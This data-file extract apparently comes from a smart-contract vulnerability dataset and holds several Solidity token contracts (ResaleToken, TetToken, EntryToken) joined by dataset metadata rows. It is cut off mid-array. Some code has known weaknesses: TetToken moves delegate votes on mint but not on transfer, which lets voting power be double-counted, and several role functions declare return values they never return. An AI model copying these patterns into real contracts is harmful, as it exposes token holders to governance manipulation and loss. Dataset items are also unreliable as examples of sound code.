modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
/// @notice Deletes the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RBACMintableTokenMixin is StandardToken, RBACMixin {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to,
uint256 _amount)
onlyMinter
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ERC223ReceiverMixin {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
/// @title Custom implementation of ERC223
/// @author Mai Abha <maiabha82@gmail.com>
contract ERC223Mixin is StandardToken {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferFrom(address _from,
address _to,
uint256 _value) public returns (bool)
{
bytes memory empty;
return transferFrom(_from,
_to,
_value,
empty);
}
function transferFrom(address _from,
address _to,
uint256 _value,
bytes _data) public returns (bool)
{
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (isContract(_to)) {
return transferToContract(_from,
_to,
_value,
_data);
} else {
return transferToAddress(_from,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(msg.sender,
_to,
_value,
_data);
} else {
return transferToAddress(msg.sender,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function isContract(address _addr) internal view returns (bool) {
uint256 length;
// solium-disable-next-line security/no-inline-assembly
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function moveTokens(address _from, address _to, uint256 _value) internal returns (bool success) {
if (balanceOf(_from) < _value) {
revert();
}
balances[_from] = balanceOf(_from).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
return true;
}
function transferToAddress(address _from,
address _to,
uint256 _value,
bytes _data) internal returns (bool success)
{
require(moveTokens(_from, _to, _value));
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _from,
address _to,
uint256 _value,
bytes _data) internal returns (bool success)
{
require(moveTokens(_from, _to, _value));
ERC223ReceiverMixin(_to).tokenFallback(_from, _value, _data);
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
}
/// @title Role based token finalization mixin
/// @author Mai Abha <maiabha82@gmail.com>
contract RBACERC223TokenFinalization is ERC223Mixin, RBACMixin {
event Finalize();
/// @notice Public field inicates the finalization state of smart-contract
bool public finalized;
/// @notice The functional modifier rejects the interaction if contract isn't finalized
modifier isFinalized() {
require(finalized);
_;
}
/// @notice The functional modifier rejects the interaction if contract is finalized
modifier notFinalized() {
require(!finalized);
_;
}
/// @notice Finalizes contract
/// @dev Requires owner role to interact
/// @return A boolean that indicates if the operation was successful.
function finalize() public notFinalized onlyOwner returns (bool) {
finalized = true;
emit Finalize();
return true;
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function transferFrom(address _from, address _to, uint256 _value) public isFinalized returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/// @dev Overrides ERC223 interface to prevent interaction before finalization
// solium-disable-next-line arg-overflow
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public isFinalized returns (bool) {
return super.transferFrom(_from, _to, _value, _data); // solium-disable-line arg-overflow
}
/// @dev Overrides ERC223 interface to prevent interaction before finalization
function transfer(address _to, uint256 _value, bytes _data) public isFinalized returns (bool) {
return super.transfer(_to, _value, _data);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function transfer(address _to, uint256 _value) public isFinalized returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function approve(address _spender, uint256 _value) public isFinalized returns (bool) {
return super.approve(_spender, _value);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function increaseApproval(address _spender, uint256 _addedValue) public isFinalized returns (bool) {
return super.increaseApproval(_spender, _addedValue);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function decreaseApproval(address _spender, uint256 _subtractedValue) public isFinalized returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/// @title Resale token implementation
/// @author Mai Abha <maiabha82@gmail.com>
contract ResaleToken is StandardBurnableToken, RBACERC223TokenFinalization, RBACMintableTokenMixin {
/// @notice Constant field with token symbol
string constant public symbol = "RSL"; // solium-disable-line uppercase
/// @notice Constant field with token full name
// solium-disable-next-line uppercase
string constant public name = "Resale-TH.com";
/// @notice Constant field with token precision depth
uint256 constant public decimals = 18; // solium-disable-line uppercase
/// @notice Constant field with token cap (total supply limit)
uint256 constant public cap = 100 * (10 ** 6) * (10 ** decimals); // solium-disable-line uppercase
/// @notice Overrides original mint function from MintableToken to limit minting over cap
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to,
uint256 _amount)
public
returns (bool)
{
require(totalSupply().add(_amount) <= cap);
return super.mint(_to, _amount);
}
/// @return A boolean that indicates if the operation was successful.
function finalize() public returns (bool) {
require(super.finalize());
require(finishMinting());
return true;
}
/// @return A boolean that indicates if the operation was successful.
function finishMinting() internal returns (bool) {
require(finalized == true);
require(super.finishMinting());
return true;
}
}
| 199,640 | 12,284 |
de6de08e7733a7cca079ca994c6704ae90973b2c099e9a04abd4e313245f1232
| 36,915 |
.sol
|
Solidity
| false |
466001610
|
KelvinThai/PancakeSwapFork
|
39aa3a21aea481a17ee0da6160054ada2bba6f71
|
token/contracts/TetToken.sol
| 4,864 | 19,091 |
//SPDX-License-Identifier: Unlicense
pragma solidity 0.6.12;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// TetToken with Governance.
contract TetToken is BEP20('Tet Token', 'Tet') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Tet::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Tet::delegateBySig: invalid nonce");
require(now <= expiry, "Tet::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "Tet::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying Tets (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "Tet::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 281,922 | 12,285 |
7332f442a186d7ebd517c7597d1ca4df5235bd3bda9f8a0671052a85b7cf9890
| 17,534 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe88b508cbfe9cc110d4aa7a77a93a0c8f06ab6a0.sol
| 4,750 | 13,764 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
// solium-disable-next-line security/no-block-members
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract EntryToken is StandardToken, Ownable {
string public constant name = "Entry Token";
string public constant symbol = "ENTRY";
uint8 public constant decimals = 18;
/// Maximum tokens to be allocated on the sale (55% of the hard cap)
uint256 public constant TOKENS_SALE_HARD_CAP = 325000000000000000000000000; // 325000000 * 10**18
/// Base exchange rate is set to 1 ETH = 6000 ENTRY.
uint256 public constant BASE_RATE = 6000;
/// pre sale start 03.05.2018
uint256 private constant datePreSaleStart = 1525294800;
/// pre sale end time 11.05.2018
uint256 private constant datePreSaleEnd = 1525986000;
/// sale start time 01.06.2018
uint256 private constant dateSaleStart = 1527800400;
/// sale end time 01.09.2018
uint256 private constant dateSaleEnd = 1535749200;
/// pre-sale token cap
uint256 private preSaleCap = 75000000000000000000000000; // Pre-sale 75000000 * 10**18
/// token caps for each round
uint256[25] private stageCaps = [
85000000000000000000000000 , // Stage 1 85000000 * 10**18
95000000000000000000000000 , // Stage 2 95000000 * 10**18
105000000000000000000000000 , // Stage 3 105000000 * 10**18
115000000000000000000000000 , // Stage 4 115000000 * 10**18
125000000000000000000000000 , // Stage 5 125000000 * 10**18
135000000000000000000000000 , // Stage 6 135000000 * 10**18
145000000000000000000000000 , // Stage 7 145000000 * 10**18
155000000000000000000000000 , // Stage 8 155000000 * 10**18
165000000000000000000000000 , // Stage 9 165000000 * 10**18
